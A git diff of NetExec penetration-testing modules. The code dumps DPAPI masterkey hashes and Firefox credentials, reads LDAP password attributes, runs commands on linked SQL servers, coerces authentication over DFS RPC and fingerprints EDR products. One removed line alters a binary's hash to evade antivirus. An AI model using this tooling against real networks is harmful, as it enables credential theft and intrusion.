+                password=password,
+                domain=domain,
+                lmhash=lmhash,
+                nthash=nthash,
+                aesKey=aesKey,
+            )
+
+        if doKerberos:
+            rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
+        # if target:
+
+        rpctransport.setRemoteHost(target)
+        dce = rpctransport.get_dce_rpc()
+        nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
+        try:
+            dce.connect()
+        except Exception as e:
+            nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
+            return None
+        try:
+            dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
+        except Exception as e:
+            nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
+            return None
+        nxc_logger.debug("[+] Successfully bound!")
+        return dce
+
+    def NetrDfsRemoveStdRoot(self, dce, listener):
+        nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
+        try:
+            request = NetrDfsRemoveStdRoot()
+            request["ServerName"] = f"{listener}\x00"
+            request["RootShare"] = "test\x00"
+            request["ApiFlags"] = 1
+            if self.args.verbose:
+                nxc_logger.debug(request.dump())
+            dce.request(request)
+
+        except Exception as e:
+            nxc_logger.debug(e)

nxc/modules/dpapi_hash.py

@@ -1,63 +0,0 @@
-from dploot.lib.target import Target
-from dploot.triage.masterkeys import MasterkeysTriage
-
-from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
-
-# Based on dpapimk2john, original work by @fist0urs
-
-class NXCModule:
-    name = "dpapi_hash"
-    description = "Remotely dump Dpapi hash based on masterkeys"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def options(self, context, module_options):
-        """OUTPUTFILE       Output file to write hashes"""
-        self.outputfile = None
-        if "OUTPUTFILE" in module_options:
-            self.outputfile = module_options["OUTPUTFILE"]
-
-    def on_admin_login(self, context, connection):
-        username = connection.username
-        password = getattr(connection, "password", "")
-        nthash = getattr(connection, "nthash", "")
-
-        target = Target.create(
-            domain=connection.domain,
-            username=username,
-            password=password,
-            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
-            lmhash=getattr(connection, "lmhash", ""),
-            nthash=nthash,
-            do_kerberos=connection.kerberos,
-            aesKey=connection.aesKey,
-            no_pass=True,
-            use_kcache=getattr(connection, "use_kcache", False),
-        )
-        
-        conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
-        if conn is None:
-            context.log.debug("Could not upgrade connection")
-            return
-        
-        try:
-            context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
-            masterkeys_triage = MasterkeysTriage(
-                target=target,
-                conn=conn,
-            )
-            context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
-            context.log.debug("Collecting user masterkeys")
-            masterkeys_triage.triage_masterkeys()
-            if self.outputfile is not None:
-                with open(self.outputfile, "a+") as fd:
-                    for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
-                        context.log.highlight(mkhash)
-                        fd.write(f"{mkhash}\n")
-            else:
-                for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
-                    context.log.highlight(mkhash)
-            
-        except Exception as e:
-            context.log.debug(f"Could not get masterkeys: {e}")

nxc/modules/enum_av.py

@@ -5,7 +5,6 @@
 
 from impacket.dcerpc.v5 import lsat, lsad, transport
 from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
 import pathlib
 
 
@@ -36,7 +35,7 @@ class NXCModule:
         results = self._detect_installed_services(context, connection, target)
         self.detect_running_processes(context, connection, results)
 
-        self.dump_results(results, context)
+        self.dump_results(results, connection.hostname, context)
 
     def _get_target(self, connection):
         return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
@@ -51,8 +50,7 @@ class NXCModule:
                 password=connection.password,
                 remote_name=target,
                 do_kerberos=connection.kerberos,
-                remoteHost=connection.host,
-                kdcHost=connection.kdcHost,
+                kdcHost=connection.domain,
                 lmhash=connection.lmhash,
                 nthash=connection.nthash,
                 aesKey=connection.aesKey
@@ -60,16 +58,18 @@ class NXCModule:
 
             dce, _ = lsa.connect()
             policyHandle = lsa.open_policy(dce)
-            for product in conf["products"]:
-                for service in product["services"]:
-                    try:
+            try:
+                for product in conf["products"]:
+                    for service in product["services"]:
                         lsa.LsarLookupNames(dce, policyHandle, service["name"])
                         context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
                         results.setdefault(product["name"], {"services": []})["services"].append(service)
-                    except Exception:
-                        pass
+            except Exception:
+                pass
+
         except Exception as e:
             context.log.fail(str(e))
+
         return results
 
     def detect_running_processes(self, context, connection, results):
@@ -80,13 +80,13 @@ class NXCModule:
                 for product in conf["products"]:
                     for pipe in product["pipes"]:
                         if pathlib.PurePath(fl).match(pipe["name"]):
-                            context.log.info(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
+                            context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
                             prod_results = results.setdefault(product["name"], {})
                             prod_results.setdefault("pipes", []).append(pipe)
         except Exception as e:
-            context.log.fail(str(e))
+            context.log.debug(str(e))
 
-    def dump_results(self, results, context):
+    def dump_results(self, results, remoteName, context):
         if not results:
             context.log.highlight("Found NOTHING!")
             return
@@ -119,7 +119,6 @@ class LsaLookupNames:
         password="",
         remote_name="",
         do_kerberos=False,
-        remoteHost="",
         kdcHost="",
         lmhash="",
         nthash="",
@@ -134,8 +133,7 @@ class LsaLookupNames:
         self.lmhash = lmhash
         self.nthash = nthash
         self.aesKey = aesKey
-        self.kdcHost = kdcHost
-        self.remoteHost = remoteHost
+        self.dcHost = kdcHost
 
     def connect(self, string_binding=None, iface_uuid=None):
         """Obtains a RPC Transport and a DCE interface according to the bindings and
@@ -148,7 +146,6 @@ class LsaLookupNames:
             raise NotImplementedError("String binding must be defined")
 
         rpc_transport = transport.DCERPCTransportFactory(string_binding)
-        rpc_transport.setRemoteHost(self.remoteHost)
 
         # Set timeout if defined
         if self.timeout:
@@ -160,13 +157,14 @@ class LsaLookupNames:
             rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
 
         if self.doKerberos:
-            rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
+            rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
 
         # Gets the DCE RPC object
         dce = rpc_transport.get_dce_rpc()
 
-        if self.doKerberos:
-            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+        # Set the authentication level
+        if self.authn_level:
+            dce.set_auth_level(self.authn_level)
 
         # Connect
         dce.connect()
@@ -244,14 +242,6 @@ conf = {
             "services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
             "pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
         },
-        {
-            "name": "Cortex",
-            "services": [
-                {"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
-                {"name": "cyserver", "description": " Cortex XDR"}
-            ],
-            "pipes": []
-        },
         {
             "name": "Cybereason",
             "services": [
@@ -271,10 +261,7 @@ conf = {
                 {"name": "epfw", "description": "ESET"},
                 {"name": "epfwlwf", "description": "ESET"},
                 {"name": "epfwwfp", "description": "ESET"},
-                {"name": "EraAgentSvc", "description": "ESET Management Agent service"},
-                {"name": "ERAAgent", "description": "ESET Management Agent service"},
-                {"name": "efwd", "description": "ESET Communication Forwarding Service"},
-                {"name": "ehttpsrv", "description": "ESET HTTP Server"},
+                {"name": "EraAgentSvc", "description": "ESET"},
             ],
             "pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
         },
@@ -355,27 +342,6 @@ conf = {
                 {"name": "sophoslivequery_*", "processes": [""]}
             ]
         },
-        {
-            "name": "Trellix Endpoint Detection and Response (EDR)",
-            "services": [
-                {"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"},
-                {"name": "mfemactl", "description": "Trellix Management Service"},
-                {"name": "mfemms", "description": "McAfee Management Service"},
-                {"name": "mfefire", "description": "Trellix Firewall Core Service"},
-                {"name": "masvc", "description": "Trellix Agent Service"},
-                {"name": "macmnsvc", "description": "Trellix Agent Common Service"},
-                {"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
-                {"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"}, 
-                {"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
-            ],
-            "pipes": [
-                {"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]},
-                {"name": "mfemactl_*", "processes": ["mfemactl.exe"]},
-                {"name": "mfefire_*", "processes": ["mfefire.exe"]},
-                {"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]},
-                {"name": "mfetp_*", "processes": ["mfetp.exe"]}
-            ]
-        },
         {
             "name": "Trend Micro Endpoint Security",
             "services": [

nxc/modules/enum_ca.py

@@ -1,109 +0,0 @@
-from impacket.dcerpc.v5 import transport, epm
-from impacket.http import AUTH_NTLM
-from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
-    RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
-    RPC_PROXY_RPC_OUT_DATA_404_ERR
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
-from impacket import uuid
-import requests
-
-
-class NXCModule:
-    """
-    -------
-    Module by @0xjbb, original code from Impacket rpcdump.py
-    """
-    KNOWN_PROTOCOLS = {
-        135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
-        139: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
-        443: {"bindstr": r"ncacn_http:[593,RpcProxy=%s:443]"},
-        445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
-        593: {"bindstr": r"ncacn_http:%s"}
-    }
-
-    name = "enum_ca"
-    description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
-    supported_protocols = ["smb"]  # Example: ['smb', 'mssql']
-    opsec_safe = True  # Does the module touch disk?
-    multiple_hosts = True  # Does it make sense to run this module on multiple hosts at a time?
-
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
-
-    def options(self, context, module_options):
-        pass
-
-    def on_login(self, context, connection):
-        self.__username = connection.username
-        self.__password = connection.password
-        self.__domain = connection.domain
-        self.__lmhash = ""
-        self.__nthash = ""
-        self.__port = 135.
-        self.__stringbinding = ""
-
-        if context.hash and ":" in context.hash[0]:
-            hashList = context.hash[0].split(":")
-            self.__nthash = hashList[-1]
-            self.__lmhash = hashList[0]
-        elif context.hash and ":" not in context.hash[0]:
-            self.__nthash = context.hash[0]
-            self.__lmhash = "00000000000000000000000000000000"
-
-        self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]["bindstr"] % connection.host
-        context.log.debug(f"StringBinding {self.__stringbinding}")
-
-        rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
-
-        if self.__port in [139, 445]:
-            # Setting credentials for SMB
-            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
-            rpctransport.setRemoteHost(connection.host)
-            rpctransport.set_dport(self.__port)
-        elif self.__port in [443]:
-            # Setting credentials only for RPC Proxy, but not for the MSRPC level
-            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
-            rpctransport.set_auth_type(AUTH_NTLM)
-        else:
-            rpctransport.setRemoteHost(connection.host)
-
-        try:
-            entries = self.__fetchList(connection.kerberos, rpctransport)
-        except Exception as e:
-            error_text = f"Protocol failed: {e}"
-            context.log.fail(error_text)
-
-            if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
-               RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
-               RPC_PROXY_CONN_A1_404_ERR in error_text or \
-               RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
-                context.log.fail("This usually means the target does not allow "
-                                 "to connect to its epmapper using RpcProxy.")
-                return
-        for entry in entries:
-            tmpUUID = str(entry["tower"]["Floors"][0])
-
-            if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
-                exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
-                context.log.debug("EXEs %s" % exename)
-                if exename == "certsrv.exe":
-                    context.log.highlight("Active Directory Certificate Services Found.")
-                    url = f"http://{connection.host}/certsrv/certfnsh.asp"
-                    context.log.highlight(url)
-                    try:
-                        response = requests.get(url, timeout=5)
-                        if response.status_code == 401 and "WWW-Authenticate" in response.headers and "ntlm" in response.headers["WWW-Authenticate"].lower():
-                            context.log.highlight("Web enrollment found on HTTP (ESC8).")
-                    except requests.RequestException as e:
-                        context.log.debug(e)
-                    return
-
-    def __fetchList(self, doKerberos, rpctransport):
-        dce = rpctransport.get_dce_rpc()
-        if doKerberos:
-            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
-        dce.connect()
-        resp = epm.hept_lookup(None, dce=dce)
-        dce.disconnect()
-        return resp

nxc/modules/enum_impersonate.py

@@ -1,46 +0,0 @@
-class NXCModule:
-    """
-    Enumerate SQL Server users with impersonation rights
-    Module by deathflamingo
-    """
-
-    name = "enum_impersonate"
-    description = "Enumerate users with impersonation privileges"
-    supported_protocols = ["mssql"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self):
-        self.mssql_conn = None
-        self.context = None
-
-    def on_login(self, context, connection):
-        self.context = context
-        self.mssql_conn = connection.conn
-        impersonate_users = self.get_impersonate_users()
-        if impersonate_users:
-            self.context.log.success("Users with impersonation rights:")
-            for user in impersonate_users:
-                self.context.log.display(f"  - {user}")
-        else:
-            self.context.log.fail("No users with impersonation rights found.")
-
-    def get_impersonate_users(self) -> list:
-        """
-        Fetches a list of users with impersonation rights.
-
-        Returns
-        -------
-        list: List of user names.
-        """
-        query = """
-        SELECT DISTINCT b.name
-        FROM sys.server_permissions a
-        INNER JOIN sys.server_principals b
-        ON a.grantor_principal_id = b.principal_id
-        WHERE a.permission_name LIKE 'IMPERSONATE%'
-        """
-        res = self.mssql_conn.sql_query(query)
-        return [user["name"] for user in res] if res else []
-    def options(self, context, module_options):
-        pass

nxc/modules/enum_links.py

@@ -1,53 +0,0 @@
-class NXCModule:
-    """
-    Enumerate SQL Server linked servers
-    Module by deathflamingo, NeffIsBack
-    """
-
-    name = "enum_links"
-    description = "Enumerate linked SQL Servers and their login configurations."
-    supported_protocols = ["mssql"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self):
-        self.mssql_conn = None
-        self.context = None
-
-    def options(self, context, module_options):
-        pass
-
-    def on_login(self, context, connection):
-        self.context = context
-        self.mssql_conn = connection.conn
-        linked_servers = self.get_linked_servers()
-        if linked_servers:
-            self.context.log.success("Linked servers found:")
-            for server in linked_servers:
-                self.context.log.display(f"  - {server}")
-        else:
-            self.context.log.fail("No linked servers found.")
-
-    def on_admin_login(self, context, connection):
-        res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
-        srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
-        if not srvs:
-            self.context.log.fail("No linked servers found.")
-            return
-        self.context.log.success("Linked servers found:")
-        for srv in srvs:
-            self.context.log.display(f"Linked server: {srv['Linked Server']}")
-            self.context.log.display(f"  - Local login: {srv['Local Login']}")
-            self.context.log.display(f"  - Remote login: {srv['Remote Login']}")
-
-    def get_linked_servers(self) -> list:
-        """
-        Fetches a list of linked servers.
-
-        Returns
-        -------
-        list: List of linked server names.
-        """
-        query = "EXEC sp_linkedservers;"
-        res = self.mssql_conn.sql_query(query)
-        return [server["SRV_NAME"] for server in res] if res else []

nxc/modules/enum_logins.py

@@ -1,40 +0,0 @@
-class NXCModule:
-    """
-    Enumerate SQL Server logins
-    Module by deathflamingo
-    """
-
-    name = "enum_logins"
-    description = "Enumerate SQL Server logins"
-    supported_protocols = ["mssql"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self):
-        self.mssql_conn = None
-        self.context = None
-
-    def on_login(self, context, connection):
-        self.context = context
-        self.mssql_conn = connection.conn
-        logins = self.get_logins()
-        if logins:
-            self.context.log.success("Logins found:")
-            for login in logins:
-                self.context.log.display(f"  - {login}")
-        else:
-            self.context.log.fail("No logins found.")
-
-    def get_logins(self) -> list:
-        """
-        Fetches a list of SQL Server logins.
-
-        Returns
-        -------
-        list: List of login names.
-        """
-        query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';"
-        res = self.mssql_conn.sql_query(query)
-        return [login["name"] for login in res] if res else []
-    def options(self, context, module_options):
-        pass

nxc/modules/example_module.py

@@ -12,9 +12,9 @@ class NXCModule:
     opsec_safe = True  # Does the module touch disk?
     multiple_hosts = True  # Does it make sense to run this module on multiple hosts at a time?
 
-    def __init__(self):
-        self.context = None
-        self.module_options = None
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
 
     def options(self, context, module_options):
         """Required.

nxc/modules/exec_on_link.py

@@ -1,42 +0,0 @@
-class NXCModule:
-    """
-    Execute commands on linked servers
-    Module by deathflamingo
-    """
-
-    name = "exec_on_link"
-    description = "Execute commands on a SQL Server linked server"
-    supported_protocols = ["mssql"]
-    opsec_safe = False
-    multiple_hosts = False
-
-    def __init__(self):
-        self.mssql_conn = None
-        self.context = None
-        self.linked_server = None
-        self.command = None
-
-    def options(self, context, module_options):
-        """
-        LINKED_SERVER: The name of the linked server to execute the command on.
-        COMMAND: The command to execute on the linked server.
-        """
-        if "LINKED_SERVER" in module_options:
-            self.linked_server = module_options["LINKED_SERVER"]
-        if "COMMAND" in module_options:
-            self.command = module_options["COMMAND"]
-
-    def on_login(self, context, connection):
-        self.context = context
-        self.mssql_conn = connection.conn
-        if not self.linked_server or not self.command:
-            self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
-            return
-
-        self.execute_on_link()
-
-    def execute_on_link(self):
-        """Executes the specified command on the linked server."""
-        query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
-        result = self.mssql_conn.sql_query(query)
-        self.context.log.display(f"Command output: {result}")

nxc/modules/find-computer.py

@@ -39,7 +39,7 @@ class NXCModule:
 
         try:
             context.log.debug(f"Search Filter={search_filter}")
-            resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
+            resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
         except LDAPSearchError as e:
             if e.getErrorString().find("sizeLimitExceeded") >= 0:
                 context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")

nxc/modules/firefox.py

@@ -1,5 +1,5 @@
 from dploot.lib.target import Target
-from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
+from nxc.protocols.smb.firefox import FirefoxTriage
 
 
 class NXCModule:
@@ -10,24 +10,16 @@ class NXCModule:
     """
 
     name = "firefox"
-    description = "[REMOVED] Dump credentials from Firefox"
+    description = "Dump credentials from Firefox"
     supported_protocols = ["smb"]
     opsec_safe = True  # Does the module touch disk?
     multiple_hosts = True  # Does it make sense to run this module on multiple hosts at a time?
 
     def options(self, context, module_options):
-        """
-        [REMOVED] use the --dpapi flag instead of the module firefox.
-
-        COOKIES    Get also Firefox cookies
-        """
-        self.gather_cookies = "COOKIES" in module_options
+        """Dump credentials from Firefox"""
 
     def on_admin_login(self, context, connection):
-        context.log.fail("[REMOVED] Use the --dpapi flag instead of the module firefox.")
-        return
-
-        host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
+        host = connection.hostname + "." + connection.domain
         domain = connection.domain
         username = connection.username
         kerberos = connection.kerberos
@@ -49,25 +41,19 @@ class NXCModule:
             use_kcache=use_kcache,
         )
 
-        def firefox_callback(secret):
-            if isinstance(secret, FirefoxData):
-                url = secret.url + " -" if secret.url != "" else "-"
-                context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}")
-                context.db.add_dpapi_secrets(
-                    target.address,
-                    "FIREFOX",
-                    secret.winuser,
-                    secret.username,
-                    secret.password,
-                    secret.url,
-                )
-            elif isinstance(secret, FirefoxCookie):
-                context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}")
-
         try:
             # Collect Firefox stored secrets
-            firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback)
+            firefox_triage = FirefoxTriage(target=target, logger=context.log)
             firefox_triage.upgrade_connection(connection=connection.conn)
-            firefox_triage.run(gather_cookies=self.gather_cookies)
+            firefox_credentials = firefox_triage.run()
+            for credential in firefox_credentials:
+                context.log.highlight(
+                    "[{}][FIREFOX] {} {}:{}".format(
+                        credential.winuser,
+                        credential.url + " -" if credential.url != "" else "-",
+                        credential.username,
+                        credential.password,
+                    )
+                )
         except Exception as e:
             context.log.debug(f"Error while looting firefox: {e}")

nxc/modules/get-desc-users.py

@@ -1,7 +1,7 @@
+from impacket.ldap import ldapasn1 as ldapasn1_impacket
 from impacket.ldap import ldap as ldap_impacket
 import re
 from nxc.logger import nxc_logger
-from nxc.parsers.ldap_results import parse_result_attributes
 
 
 class NXCModule:
@@ -31,7 +31,7 @@ class NXCModule:
             self.MINLENGTH = module_options["MINLENGTH"]
         if "PASSWORDPOLICY" in module_options:
             self.PASSWORDPOLICY = True
-            self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$")  # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
+            self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}")  # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
 
     def on_login(self, context, connection):
         """Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
@@ -40,7 +40,7 @@ class NXCModule:
 
         try:
             context.log.debug(f"Search Filter={searchFilter}")
-            resp = connection.ldap_connection.search(
+            resp = connection.ldapConnection.search(
                 searchFilter=searchFilter,
                 attributes=["sAMAccountName", "description"],
                 sizeLimit=0,
@@ -55,10 +55,24 @@ class NXCModule:
                 nxc_logger.debug(e)
                 return False
 
+        answers = []
         context.log.debug(f"Total of records returned {len(resp)}")
-        resp_parsed = parse_result_attributes(resp)
-        answers = [[x["sAMAccountName"], x.get("description")] for x in resp_parsed if x.get("description")]
-
+        for item in resp:
+            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+                continue
+            sAMAccountName = ""
+            description = ""
+            try:
+                for attribute in item["attributes"]:
+                    if str(attribute["type"]) == "sAMAccountName":
+                        sAMAccountName = str(attribute["vals"][0])
+                    elif str(attribute["type"]) == "description":
+                        description = attribute["vals"][0]
+                if sAMAccountName != "" and description != "":
+                    answers.append([sAMAccountName, description])
+            except Exception as e:
+                context.log.debug("Exception:", exc_info=True)
+                context.log.debug(f"Skipping item, cannot process due to error {e!s}")
         answers = self.filter_answer(context, answers)
         if len(answers) > 0:
             context.log.success("Found following users: ")
@@ -88,11 +102,6 @@ class NXCModule:
                     if self.regex.search(description):
                         conditionPasswordPolicy = True
 
-                if conditionFilter and not self.PASSWORDPOLICY:
-                    context.log.highlight(f"'{self.FILTER}' found in description: '{description}'")
-                elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)):
+                if (conditionFilter == self.FILTER) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
                     answersFiltered.append([answer[0], description])
-                elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
-                    context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
-
         return answersFiltered

nxc/modules/get-unixUserPassword.py

@@ -1,46 +0,0 @@
-from impacket.ldap import ldap as ldap_impacket
-from nxc.logger import nxc_logger
-from nxc.parsers.ldap_results import parse_result_attributes
-
-
-class NXCModule:
-    """
-    Get unixUserPassword attribute from all users in ldap
-    Module by @SyzikSecu
-    """
-
-    name = "get-unixUserPassword"
-    description = "Get unixUserPassword attribute from all users in ldap"
-    supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def options(self, context, module_options):
-        """
-        """
-
-    def on_login(self, context, connection):
-        searchFilter = "(unixUserPassword=*)"
-
-        try:
-            context.log.debug(f"Search Filter={searchFilter}")
-            resp = connection.ldap_connection.search(
-                searchFilter=searchFilter,
-                attributes=["sAMAccountName", "unixUserPassword"],
-                sizeLimit=0,
-            )
-        except ldap_impacket.LDAPSearchError as e:
-            if e.getErrorString().find("sizeLimitExceeded") >= 0:
-                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
-                resp = e.getAnswers()
-            else:
-                nxc_logger.debug(e)
-                return False
-
-        if resp:
-            resp_parsed = parse_result_attributes(resp)
-            context.log.success("Found following users: ")
-            for user in resp_parsed:
-                context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['unixUserPassword']}")
-        else:
-            context.log.fail("No unixUserPassword Found")

nxc/modules/get-userPassword.py

@@ -1,46 +0,0 @@
-from impacket.ldap import ldap as ldap_impacket
-from nxc.logger import nxc_logger
-from nxc.parsers.ldap_results import parse_result_attributes
-
-
-class NXCModule:
-    """
-    Get userPassword attribute from all users in ldap
-    Module by @SyzikSecu
-    """
-
-    name = "get-userPassword"
-    description = "Get userPassword attribute from all users in ldap"
-    supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def options(self, context, module_options):
-        """
-        """
-
-    def on_login(self, context, connection):
-        searchFilter = "(userPassword=*)"
-
-        try:
-            context.log.debug(f"Search Filter={searchFilter}")
-            resp = connection.ldap_connection.search(
-                searchFilter=searchFilter,
-                attributes=["sAMAccountName", "userPassword"],
-                sizeLimit=0,
-            )
-        except ldap_impacket.LDAPSearchError as e:
-            if e.getErrorString().find("sizeLimitExceeded") >= 0:
-                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
-                resp = e.getAnswers()
-            else:
-                nxc_logger.debug(e)
-                return False
-
-        if resp:
-            resp_parsed = parse_result_attributes(resp)
-            context.log.success("Found following users: ")
-            for user in resp_parsed:
-                context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['userPassword']}")
-        else:
-            context.log.fail("No unixUserPassword Found")

nxc/modules/group_members.py

@@ -11,7 +11,7 @@ class NXCModule:
     """
 
     name = "group-mem"
-    description = "[REMOVED] Retrieves all the members within a Group"
+    description = "Retrieves all the members within a Group"
     supported_protocols = ["ldap"]
     opsec_safe = True
     multiple_hosts = False
@@ -19,9 +19,7 @@ class NXCModule:
     answers = []
 
     def options(self, context, module_options):
-        r"""
-        [REMOVED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem.
-
+        """
         group-mem: Specify group-mem to call the module
         GROUP: Specify the GROUP option to query for that group's members
         Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
@@ -36,9 +34,6 @@ class NXCModule:
             sys.exit(1)
 
     def on_login(self, context, connection):
-        self.logger.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
-        return None
-
         # First look up the SID of the group passed in
         search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
         attribute = "objectSid"
@@ -73,7 +68,7 @@ class NXCModule:
 def do_search(self, context, connection, searchFilter, attributeName):
     try:
         context.log.debug(f"Search Filter={searchFilter}")
-        resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
+        resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
         context.log.debug(f"Total number of records returned {len(resp)}")
         for item in resp:
             if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:

nxc/modules/groupmembership.py

@@ -37,7 +37,7 @@ class NXCModule:
 
         try:
             context.log.debug(f"Search Filter={searchFilter}")
-            resp = connection.ldap_connection.search(
+            resp = connection.ldapConnection.search(
                 searchFilter=searchFilter,
                 attributes=["memberOf", "primaryGroupID"],
                 sizeLimit=0,

nxc/modules/handlekatz.py

@@ -5,9 +5,9 @@
 import base64
 import re
 import sys
-from datetime import datetime
+
 from nxc.helpers.bloodhound import add_user_bh
-from pypykatz.pypykatz import pypykatz
+import pypykatz
 
 
 class NXCModule:
@@ -34,8 +34,6 @@ class NXCModule:
         self.handlekatz_path = "/tmp/"
         self.dir_result = self.handlekatz_path
         self.useembeded = True
-        # Add some random binary data to defeat AVs which check the file hash
-        self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
 
         if "HANDLEKATZ_PATH" in module_options:
             self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
